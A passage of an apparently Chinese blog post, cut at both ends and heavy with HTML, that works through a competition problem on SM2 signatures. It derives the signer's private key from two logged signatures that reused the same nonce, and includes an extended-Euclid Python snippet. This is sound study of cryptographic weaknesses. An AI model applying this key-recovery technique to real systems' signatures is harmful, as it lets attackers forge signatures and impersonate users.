data-darkmode-color-16250261668466="rgb(141, 141, 141)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)" data-style="max-width: 100%; font-size: 18px; color: rgb(89, 89, 89); visibility: visible; box-sizing: border-box !important; overflow-wrap: break-word !important;" class="js_darkmode__1" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(141, 141, 141)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)" data-darkmode-bgcolor-16291931044949="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16291931044949="#fff|rgb(255, 255, 255)" data-darkmode-color-16291931044949="rgb(141, 141, 141)" data-darkmode-original-color-16291931044949="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)" style="max-width: 100%;color: rgb(89, 89, 89);font-size: 18px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">背景</span></strong></p></section></section></section><section style="max-width: 100%;text-indent: 2em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></section><section style="max-width: 100%;text-indent: 2em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 14px;">近期在学习国密系列算法，为巩固刚学习的SM2算法，在网上找到一个竞赛题目，让我们一起来干它！</span><br style="max-width: 100%;color: rgba(255, 255, 255, 0.6);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(25, 25, 25);visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></section><p style="max-width: 100%;min-height: 1em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">                                                                     <br style="max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></p><section data-tools="135编辑器" data-id="88109" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-style="max-width: 100%; font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); caret-color: rgb(51, 51, 51); visibility: visible; box-sizing: border-box !important; overflow-wrap: break-word !important;" class="js_darkmode__0" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16291931044949="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16291931044949="#fff|rgb(255, 255, 255)" style="max-width: 100%;background-color: rgb(255, 255, 255);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;caret-color: rgb(51, 51, 51);visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(163, 163, 163) !important;"><section data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16291931044949="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16291931044949="#fff|rgb(255, 255, 255)" style="margin-right: auto;margin-left: auto;max-width: 100%;text-align: center;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16291931044949="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16291931044949="#fff|rgb(255, 255, 255)" style="padding: 5px 20px;max-width: 100%;box-sizing: border-box;border-radius: 4px;border-width: 1px;border-style: solid;border-color: rgb(117, 117, 118);display: inline-block;visibility: visible;overflow-wrap: break-word !important;"><p data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(254, 254, 254)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(254, 254, 254)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16291931044949="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16291931044949="#fff|rgb(255, 255, 255)" data-darkmode-color-16291931044949="rgb(254, 254, 254)" data-darkmode-original-color-16291931044949="#fff|rgb(254, 254, 254)" style="max-width: 100%;min-height: 1em;color: rgb(254, 254, 254);font-size: 14px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(254, 254, 254)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(254, 254, 254)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16291931044949="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16291931044949="#fff|rgb(255, 255, 255)" data-darkmode-color-16291931044949="rgb(254, 254, 254)" data-darkmode-original-color-16291931044949="#fff|rgb(254, 254, 254)" style="max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span data-brushtype="text" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(141, 141, 141)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)" data-style="max-width: 100%; font-size: 18px; color: rgb(89, 89, 89); visibility: visible; box-sizing: border-box !important; overflow-wrap: break-word !important;" class="js_darkmode__1" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(141, 141, 141)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)" data-darkmode-bgcolor-16291931044949="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16291931044949="#fff|rgb(255, 255, 255)" data-darkmode-color-16291931044949="rgb(141, 141, 141)" data-darkmode-original-color-16291931044949="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)" style="max-width: 100%;color: rgb(89, 89, 89);font-size: 18px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">题目</span></strong></p></section></section></section><section style="max-width: 100%;text-indent: 2em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></section><section style="text-align: left;margin-left: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 0pt;text-indent: 2em;"><span style="font-family: 微软雅黑;font-size: 14px;">某信息系统基于 OpenSSL 实现了 SM2 算法，部署在客户端和服务器进行身份鉴别以及用户对数据摘要进行签名。密码分析人员采集到服务器日志，请恢复出用户签名私钥明文。</span></section><p style="text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: 宋体;font-weight: normal;margin-top: 0.0pt;margin-bottom: 0.0pt;"><span style="font-family: 微软雅黑;font-size: 14px;"></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="markdown"><code><span class="code-snippet_outer"><span class="code-snippet__bullet">1. </span>开始对用户 1 进行身份鉴别</span></code><code><span class="code-snippet_outer"><span class="code-snippet__bullet">2. </span>服务端获取用户 1 发送的公钥值 P1：</span></code><code><span class="code-snippet_outer">04E83E542C594496D1F75A7C07841F2DE773DB59CA8A277CC77BAB2FD1BA90B8585F7C</span></code><code><span class="code-snippet_outer">C3C9863D129D4DDFACD1B529A31CCB81463AF8A8BB5AB480A3F8BB7DA737</span></code><code><span class="code-snippet_outer"><span class="code-snippet__bullet">3. </span>产生挑战的杂凑值 e1：</span></code><code><span class="code-snippet_outer">875817FFC25231A88B68696273AEECE852A10CCDE93C19476482EBA4D4877322</span></code><code><span class="code-snippet_outer"><span class="code-snippet__bullet">4. </span>收到签名值(r1, s1)：</span></code><code><span class="code-snippet_outer">1260185C3D7437E6A63F1E18FD810A314A5E27D67884A83F1283D72F1009F699</span></code><code><span class="code-snippet_outer">0E9F423B578A8707C83C1A0A3982F52D0FF718C2B481966E4D839CD566EE7209</span></code><code><span class="code-snippet_outer"><span class="code-snippet__bullet">5. </span>验签成功！身份鉴别完成。</span></code><code><span class="code-snippet_outer"><span class="code-snippet__bullet">6. </span>收到用户 1 发送的文件杂凑值 e2：</span></code><code><span class="code-snippet_outer">8FB2B63B9CF9ED7842CC0E0A204B36A3ED5C45936B6148646A26915120F6C7D2</span></code><code><span class="code-snippet_outer">和对应 签名值(r2, s2)：</span></code><code><span class="code-snippet_outer">1ABAB698181BF3B65DA2C2C0AA1D53ECE519609BFAA9D75C18277CDB5C794B49</span></code><code><span class="code-snippet_outer">EBB541CA42C5CCA5FA1324DDC32D3F352546FE4EECE8034E1D64A2848E2A93B9</span></code><code><span class="code-snippet_outer"><span class="code-snippet__bullet">7. </span>验签成功！文件与签名匹配。</span></code></pre></section><p style="text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: 宋体;font-weight: normal;margin-top: 0.0pt;margin-bottom: 0.0pt;"><span style="font-family: Calibri;font-size: 14px;"></span></p><p style="max-width: 100%;min-height: 1em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">                                                                     <br style="max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></p><section data-tools="135编辑器" data-id="88109" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-style="max-width: 100%; font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); caret-color: rgb(51, 51, 51); visibility: visible; box-sizing: border-box !important; overflow-wrap: break-word !important;" class="js_darkmode__0" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16291931044949="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16291931044949="#fff|rgb(255, 255, 255)" style="max-width: 100%;background-color: rgb(255, 255, 255);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;caret-color: rgb(51, 51, 51);visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(163, 163, 163) !important;"><section data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16291931044949="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16291931044949="#fff|rgb(255, 255, 255)" style="margin-right: auto;margin-left: auto;max-width: 100%;text-align: center;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16291931044949="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16291931044949="#fff|rgb(255, 255, 255)" style="padding: 5px 20px;max-width: 100%;box-sizing: border-box;border-radius: 4px;border-width: 1px;border-style: solid;border-color: rgb(117, 117, 118);display: inline-block;visibility: visible;overflow-wrap: break-word !important;"><p data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(254, 254, 254)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(254, 254, 254)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16291931044949="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16291931044949="#fff|rgb(255, 255, 255)" data-darkmode-color-16291931044949="rgb(254, 254, 254)" data-darkmode-original-color-16291931044949="#fff|rgb(254, 254, 254)" style="max-width: 100%;min-height: 1em;color: rgb(254, 254, 254);font-size: 14px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(254, 254, 254)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(254, 254, 254)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16291931044949="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16291931044949="#fff|rgb(255, 255, 255)" data-darkmode-color-16291931044949="rgb(254, 254, 254)" data-darkmode-original-color-16291931044949="#fff|rgb(254, 254, 254)" style="max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span data-brushtype="text" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(141, 141, 141)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)" data-style="max-width: 100%; font-size: 18px; color: rgb(89, 89, 89); visibility: visible; box-sizing: border-box !important; overflow-wrap: break-word !important;" class="js_darkmode__1" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(141, 141, 141)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)" data-darkmode-bgcolor-16291931044949="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16291931044949="#fff|rgb(255, 255, 255)" data-darkmode-color-16291931044949="rgb(141, 141, 141)" data-darkmode-original-color-16291931044949="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)" style="max-width: 100%;color: rgb(89, 89, 89);font-size: 18px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">解答</span></strong></p></section></section></section><section style="max-width: 100%;text-indent: 2em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></section><section style="max-width: 100%;visibility: visible;text-indent: 0em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 12px;">前置知识：了解扩展欧几里得算法、素域、同余、逆元等相关概念</span></section><section style="max-width: 100%;visibility: visible;text-indent: 0em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></section><p style="text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: 宋体;font-weight: normal;margin-top: 0.0pt;margin-bottom: 0.0pt;"><span style="font-family: 微软雅黑;font-size: 14px;">从日志1-7中获得</span><span style="font-family: 微软雅黑;font-size: 14px;text-indent: 0pt;"></span></p><p style="text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;font-size: 12.0pt;font-family: 宋体;font-weight: normal;margin-top: 0.0pt;margin-bottom: 0.0pt;line-height: 16.0pt;"><span style="font-family: 微软雅黑;font-size: 14px;"></span></p><p style="text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: 宋体;font-weight: normal;margin-top: 0.0pt;margin-bottom: 0.0pt;"><span style="font-size: 14px;"><span style="font-family: Consolas;color: rgb(38, 139, 210);"></span></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="ini"><code><span class="code-snippet_outer"><span class="code-snippet__attr">e1</span>=<span class="code-snippet__number">0</span>x875817FFC25231A88B68696273AEECE852A10CCDE93C19476482EBA4D4877322</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">r1</span>=<span class="code-snippet__number">0</span>x1260185C3D7437E6A63F1E18FD810A314A5E27D67884A83F1283D72F1009F699</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">s1</span>=<span class="code-snippet__number">0</span>x0E9F423B578A8707C83C1A0A3982F52D0FF718C2B481966E4D839CD566EE7209</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">e2</span>=<span class="code-snippet__number">0</span>x8FB2B63B9CF9ED7842CC0E0A204B36A3ED5C45936B6148646A26915120F6C7D2 </span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">r2</span>=<span class="code-snippet__number">0</span>x1ABAB698181BF3B65DA2C2C0AA1D53ECE519609BFAA9D75C18277CDB5C794B49 </span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">s2</span>=<span class="code-snippet__number">0</span>xEBB541CA42C5CCA5FA1324DDC32D3F352546FE4EECE8034E1D64A2848E2A93B9</span></code></pre></section><p style="text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: 宋体;font-weight: normal;margin-top: 0.0pt;margin-bottom: 0.0pt;"><br/></p><p style="text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: 宋体;font-weight: normal;margin-top: 0.0pt;margin-bottom: 0.0pt;"><span style="font-size: 14px;"><span style="font-family: 微软雅黑;">GM/T0003.2- 2012中描述的签名算法如下</span><span style="font-family: Calibri;">:</span></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.4817843866171004" data-s="300,640" style="" data-type="png" data-w="1345" src="https://wechat2rss.xlab.app/img-proxy/?k=31beb153&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cH9hEzEQ5103M7j4nlkJsK0icIlhs2tadnjnPTaIaQmyghmoY8B8xJoTCaicF4A4fvq1WAiauovyeBgEA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: 宋体;font-weight: normal;margin-top: 0.0pt;margin-bottom: 0.0pt;"><br/></p><p style="text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: 宋体;font-weight: normal;margin-top: 0.0pt;margin-bottom: 0.0pt;"><span style="font-family: 微软雅黑;font-size: 14px;">由A<sub>5</sub>步骤设两次签名的r、e、x<sub>1</sub>分别为 r<sub>1</sub>、e<sub>1</sub>、x<sub>1</sub>、r<sub>2</sub>、e<sub>2</sub>、x<sub>2</sub>，</span></p><p style="text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: 宋体;font-weight: normal;margin-top: 0.0pt;margin-bottom: 0.0pt;"><span style="font-family: 微软雅黑;font-size: 14px;">得到等式 r<sub>1</sub>≡e<sub>1</sub>+x<sub>1</sub>(mod n)，r<sub>2</sub>≡e<sub>2</sub>+x<sub>2</sub>(mod n)</span></p><p style="text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: 宋体;font-weight: normal;margin-top: 0.0pt;margin-bottom: 0.0pt;"><span style="font-family: 微软雅黑;font-size: 14px;">两式相减得r<sub>1</sub>-r<sub>2</sub>≡e<sub>1</sub>-e<sub>2</sub>+x<sub>1</sub>-x<sub>2</sub>(mod n)，移项得x<sub>1</sub>-x<sub>2</sub>≡(r<sub>1</sub>-r<sub>2</sub>)-(e<sub>1</sub>-e<sub>2</sub>)</span></p><p style="text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: 宋体;font-weight: normal;margin-top: 0.0pt;margin-bottom: 0.0pt;"><span style="font-family: 微软雅黑;font-size: 14px;">将</span></p><p style="text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: 宋体;font-weight: normal;margin-top: 0.0pt;margin-bottom: 0.0pt;"><span style="font-size: 14px;"><span style="font-family: Consolas;color: rgb(38, 139, 210);"></span></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="ini"><code><span class="code-snippet_outer"><span class="code-snippet__attr">e1</span>=<span class="code-snippet__number">0</span>x875817FFC25231A88B68696273AEECE852A10CCDE93C19476482EBA4D4877322</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">r1</span>=<span class="code-snippet__number">0</span>x1260185C3D7437E6A63F1E18FD810A314A5E27D67884A83F1283D72F1009F699</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">e2</span>=<span class="code-snippet__number">0</span>x8FB2B63B9CF9ED7842CC0E0A204B36A3ED5C45936B6148646A26915120F6C7D2 </span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">r2</span>=<span class="code-snippet__number">0</span>x1ABAB698181BF3B65DA2C2C0AA1D53ECE519609BFAA9D75C18277CDB5C794B49</span></code></pre></section><p style="text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: 宋体;font-weight: normal;margin-top: 0.0pt;margin-bottom: 0.0pt;"><span style="font-size: 14px;"><span style="font-family: Consolas;color: rgb(151, 151, 151);"></span></span><br/></p><p style="text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: 宋体;font-weight: normal;margin-top: 0.0pt;margin-bottom: 0.0pt;"><span style="font-family: 微软雅黑;font-size: 14px;">代入x<sub>1</sub>-x<sub>2</sub>≡(r<sub>1</sub>-r<sub>2</sub>)-(e<sub>1</sub>-e<sub>2</sub>)得x<sub>1</sub>-x<sub>2</sub>=0，即x<sub>1</sub>=x<sub>2</sub>，x由A<sub>4</sub>步骤[k]G得来，两次x得值相等，说明两次使用的k值相等。</span></p><p style="text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: 宋体;font-weight: normal;margin-top: 0.0pt;margin-bottom: 0.0pt;"><span style="font-family: 微软雅黑;font-size: 14px;"><br/></span></p><p style="text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: 宋体;font-weight: normal;margin-top: 0.0pt;margin-bottom: 0.0pt;"><span style="font-family: 微软雅黑;font-size: 14px;">由A<sub>6</sub>步骤设两次签名的s分别为s<sub>1</sub>、s<sub>2</sub>，两次使用的k和d<sub>A</sub>(私钥)相同，均记为k、d，</span></p><p style="text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: 宋体;font-weight: normal;margin-top: 0.0pt;margin-bottom: 0.0pt;"><span style="font-family: 微软雅黑;font-size: 14px;">得到等式 s<sub>1</sub>≡(1+d)<sup>-1</sup>·(k-r<sub>1</sub>·d) (mod n)，s<sub>2</sub>≡(1+d)<sup>-1</sup>·(k-r<sub>2</sub>·d) (mod n)</span></p><p style="text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: 宋体;font-weight: normal;margin-top: 0.0pt;margin-bottom: 0.0pt;"><span style="font-family: 微软雅黑;font-size: 14px;">两式相减得s<sub>1</sub>-s<sub>2</sub>≡(1+d)<sup>-1</sup>·(k-r<sub>1</sub>·d)-(1+d)<sup>-1</sup>·(k-r<sub>2</sub>·d) (mod n)</span></p><p style="text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: 宋体;font-weight: normal;margin-top: 0.0pt;margin-bottom: 0.0pt;"><span style="font-family: 微软雅黑;font-size: 14px;">解出d的表达式为d≡(r<sub>2</sub>-r<sub>1</sub>)(r<sub>2</sub>-r<sub>1</sub>-(s<sub>1</sub>-s<sub>2</sub>))<sup>-1</sup>-1 (mod n)</span></p><p style="text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: 宋体;font-weight: normal;margin-top: 0.0pt;margin-bottom: 0.0pt;"><span style="font-family: 微软雅黑;font-size: 14px;"> </span></p><p style="text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: 宋体;font-weight: normal;margin-top: 0.0pt;margin-bottom: 0.0pt;"><span style="font-family: 微软雅黑;font-size: 14px;">d≡(r<sub>2</sub>-r<sub>1</sub>)(r<sub>2</sub>-r<sub>1</sub>-(s<sub>1</sub>-s<sub>2</sub>))<sup>-1</sup>-1 (mod n)不等价于d≡(r<sub>2</sub>-r<sub>1</sub>)/(r<sub>2</sub>-r<sub>1</sub>-(s<sub>1</sub>-s<sub>2</sub>))-1 (mod n)，</span></p><p style="text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: 宋体;font-weight: normal;margin-top: 0.0pt;margin-bottom: 0.0pt;"><span style="font-family: 微软雅黑;font-size: 14px;">设m=r2-r1-(s1-s2)，</span></p><p style="text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: 宋体;font-weight: normal;margin-top: 0.0pt;margin-bottom: 0.0pt;"><span style="font-family: 微软雅黑;font-size: 14px;">m<sup>-1</sup>为m在模n的域中的逆元，使用扩展欧几里得算法，以下python代码摘自百度百科，</span></p><p style="text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;font-size: 12.0pt;font-family: 宋体;font-weight: normal;margin-top: 0.0pt;margin-bottom: 0.0pt;line-height: 16.0pt;"><span style="font-family: 微软雅黑;font-size: 14px;"></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="python"><code><span class="code-snippet_outer"> <span class="code-snippet__function"><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">ext_euclid</span><span class="code-snippet__params">(a, b)</span>:</span>     </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> b == <span class="code-snippet__number">0</span>:         </span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> <span class="code-snippet__number">1</span>, <span class="code-snippet__number">0</span>, a     </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">else</span>:         </span></code><code><span class="code-snippet_outer">        x, y, q = ext_euclid(b, a % b)        </span></code><code><span class="code-snippet_outer">        x, y = y, (x - (a // b) * y)         </span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> x, y, q</span></code></pre></section><p style="text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: 宋体;font-weight: normal;margin-top: 0.0pt;margin-bottom: 0.0pt;"><span style="font-size: 14px;"><span style="font-family: 微软雅黑;">稍加修改，我们仅需要返回值中的x,将等式</span><span style="font-family: Consolas;"></span><span style="font-family: 微软雅黑;font-size: 14px;text-align: left;">d≡(r</span><sub style="font-family: 微软雅黑;text-align: left;white-space: normal;">2</sub><span style="font-family: 微软雅黑;font-size: 14px;text-align: left;">-r</span><sub style="font-family: 微软雅黑;text-align: left;white-space: normal;">1</sub><span style="font-family: 微软雅黑;font-size: 14px;text-align: left;">)(r</span><sub style="font-family: 微软雅黑;text-align: left;white-space: normal;">2</sub><span style="font-family: 微软雅黑;font-size: 14px;text-align: left;">-</span><span style="font-family: 微软雅黑;font-size: 14px;text-align: 